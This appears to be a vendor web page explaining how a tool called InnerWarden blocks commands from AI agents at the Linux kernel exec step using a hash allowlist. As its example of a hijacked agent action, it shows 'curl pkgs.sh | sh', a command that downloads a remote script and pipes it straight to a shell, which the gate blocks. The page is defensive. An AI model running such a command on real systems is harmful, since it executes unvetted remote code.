Skip to content
How a command is decided

Before a command runs, it passes a gate the agent cannot control.

1 The person asks
prompt"Set up the new dependency and run the tests."
A person asks in plain language. No command yet.
→
2 The agent acts
agent (userspace)
$ curl pkgs.sh | sh
where a hijack has power
The agent turns intent into a command. This is the step an attacker can hijack.
→
3 InnerWarden decision
  • Rulesalways on
  • Learned behaviouropt-in
  • Local decisionon-device
  • Kernel gateby hash
Linux · armed · Pro & Enterprise
Checks what is allowed before it runs.
→
4 Outcomes
✓ Approved work
the kernel lets it run (Linux, armed)
$ npm test
Running…
✕ Not on the list
stopped before execution
$ curl pkgs.sh | sh
Blocked. -EPERM.
One verdict per attempt: allowed, or stopped.
Where it is barred
A program the agent was not allowed to run does not start.

A command is only text until the kernel turns it into a running program. That step, the exec, happens in the kernel, below the agent. InnerWarden checks the program right there, on supported Linux, armed, Pro & Enterprise, so a blocked command never becomes a running binary. No one had to predict this attack: the gate runs the programs you approved and denies the rest. It decides which programs start, not what an approved one does, so an approved shell or interpreter still runs the script it is handed.

all paths go through InnerWarden, and the kernel gate sits below where a hijack can reach
the honest detail

The un-bypassable step is the kernel Execution Gate. When a program is about to run, the kernel loads it through its exec path; an eBPF LSM on bprm_check checks that program against a signed hash allowlist before it starts. Not on the list means -EPERM, denied at exec, below the agent, inside the agent's own cgroup, on supported Linux, armed, Pro & Enterprise. The rule screen is always on (Community) but reactive; the local model is opt-in. Mechanics verified against messaging/how-it-decides.md.